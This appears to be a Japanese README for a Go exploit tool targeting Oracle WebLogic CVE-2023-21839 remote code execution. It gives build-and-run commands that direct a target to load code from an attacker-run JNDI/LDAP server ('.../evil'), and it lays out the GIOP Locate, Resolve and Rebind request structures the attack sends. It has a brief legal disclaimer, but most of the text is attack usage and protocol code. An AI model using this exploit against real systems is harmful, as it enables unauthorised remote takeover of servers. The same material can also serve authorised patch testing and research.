
Weblogic CVE-2023-21839 RCE(Java依存不要のワンクリックRCE)
本ツールを使用した攻撃やターゲットのテストは許可なく行うと違法となります。本プログラムは認可されたセキュリティテストおよび研究目的でのみ使用すべきです
Weblogic CVE-2023-21839 RCE
(1)Java依存関係は一切不要で、ソケット経由で直接RCEを実行可能
(2)IIOPのNATネットワーク問題に対応(Dockerや公開ネットワーク上のターゲットをテスト可能)
(3)Windows/Mac OS/LinuxおよびWeblogic 12/14でテスト済み
(4)JDK 8u191以下でWeblogicを起動し、JNDI Serverを自分で構築してください
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Locate Request
type LocateRequest struct {
Header *Header
RequestId []byte // 4
TargetAddress []byte // 2
_reserved []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
}
Resolve Request
type ResolveRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 1
ServiceContextList *ServiceContextList
CosNamingDissector []byte // no limit
}
Rebind Request
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}